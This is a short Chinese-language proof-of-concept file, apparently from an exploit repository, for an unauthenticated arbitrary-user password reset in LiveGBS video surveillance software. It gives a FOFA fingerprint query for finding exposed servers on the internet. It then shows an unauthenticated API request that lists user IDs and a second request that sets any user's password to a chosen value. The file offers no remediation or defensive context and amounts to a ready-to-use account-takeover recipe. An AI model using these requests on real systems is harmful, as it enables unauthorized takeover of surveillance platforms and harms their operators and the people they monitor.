POC/wpoc/LiveGBS/LiveGBS任意用户密码重置漏洞.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

33 lines
671 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# LiveGBS任意用户密码重置漏洞
LiveGBS部分接口存在未授权访问导致可以通过组合漏洞修改任意用户密码
## fofa
```yaml
icon_hash="-206100324"
```
## poc
### 获取用户id
```
/api/v1/user/list?q=&start=&limit=10&enable=&sort=CreatedAt&order=desc
```
![image-20240820155005009](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408201550568.png)
### 通过id更改用户密码
```
/api/v1/user/resetpassword?id=22&password=123456
```
![image-20240820155041297](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408201550695.png)
## 漏洞来源
- https://mp.weixin.qq.com/s/6To5_MA83i7rEfrxlqNpAQ